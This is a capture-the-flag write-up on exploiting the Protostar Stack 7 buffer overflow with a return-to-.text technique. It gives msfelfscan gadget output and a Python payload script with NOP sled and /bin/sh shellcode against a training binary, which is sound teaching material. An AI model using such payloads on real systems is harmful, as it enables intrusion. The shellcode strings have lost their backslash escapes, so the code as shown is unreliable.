This time we’ll be covering how to compromise Stack 7
from the Protostar VM
from Exploit Exercises.
The last couple of write ups have been.. lengthy.. But this one will be slightly shorter, as a lot of the techniques are similar to the last write up – with only a slight tweak.
This exercise suggests leveraging “return to text” to gain code execution, because “0xb” is filtered this time not just 0xbf – which means that ret2libc can’t be used as an attack vector (for example, system() lives at 0xb7ecffb0 on my box.)
The Usual! Stack based buffer overflow because of lack of bounds checking.
The “return to .text” exploit relies upon us having control over the stack (which we do) and EIP (which we also do). ret2.text means that we jump from our current location to a set of instructions in the .text section which just call “pop X; pop Y; leave” (AKA don’t mess with the existing data on the stack at all)
We’re going to set the stack up in the following way –
- 80 bytes of garbage up to the return address
- Address of POP-POP-RET instructions
- 4 bytes of garbage for the first POP
- 4 bytes of garbage for the second POP
- The address of our NOP sled and shellcode on the stack
- The start of our NOP sled and shellcode
Let’s do it!
Finding a POP-POP-RET sequence
The description of the challenge suggests using “msfelfscan” to find a POP-POP-RET sequence, which we dutifully do. Firstly we SCP the binary from the protostar box back to our attacker machine, and then analyse it with msfelfscan –
root@kali:~# /usr/share/framework2/msfelfscan -f stack7 -s
0x080485c7 edi ebp ret
0x08048492 ebx ebp ret
0x080485f7 ebx ebp ret
msfelfscan has located 3 instances of pop pop rets, we’ll use the first one (all three work though 🙂 )
Creating our malicious payload
I’m glossing over how to find the offsets etc. on the stack at this point at you should be a dab hand after all of these write ups. In case you need a little extra help though, Google “msf-pattern_create” and “msf-pattern_offset” to find the exact offset of the return address on the stack. On my box it’s exactly 80 characters after the start of the buffer.
Using the bulleted list above as my guide, I created the following Python script –
buf = "";
buf += "A"*80
buf += struct.pack("I",0x080485c7) # Address of pop pop ret found previously
buf += "AAAA" # Padding for first pop
buf += "BBBB" # Padding for second pop
buf += struct.pack("I",0xbffff7bc) # Address of start of shellcode (on the stack) for 2nd ret
buf += "x90"*20 # mini NOP sled to account for minor stack differences
buf += "x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80" # Shell code
Which satisfies all of the elements in my bulleted list above. I used the same shellcode as my Stack 5 write up, which can be found here.
Executing the python script above and passing it as input to Stack7 gives us our shell!
That’s the end of the Stack Buffer Overflow challenges now. I’ll probably swap back to doing boot to root write ups for a while now before attempting the Format String Bug challenges on Protostar.
Thanks for reading, hope you’ve enjoyed this and learned something!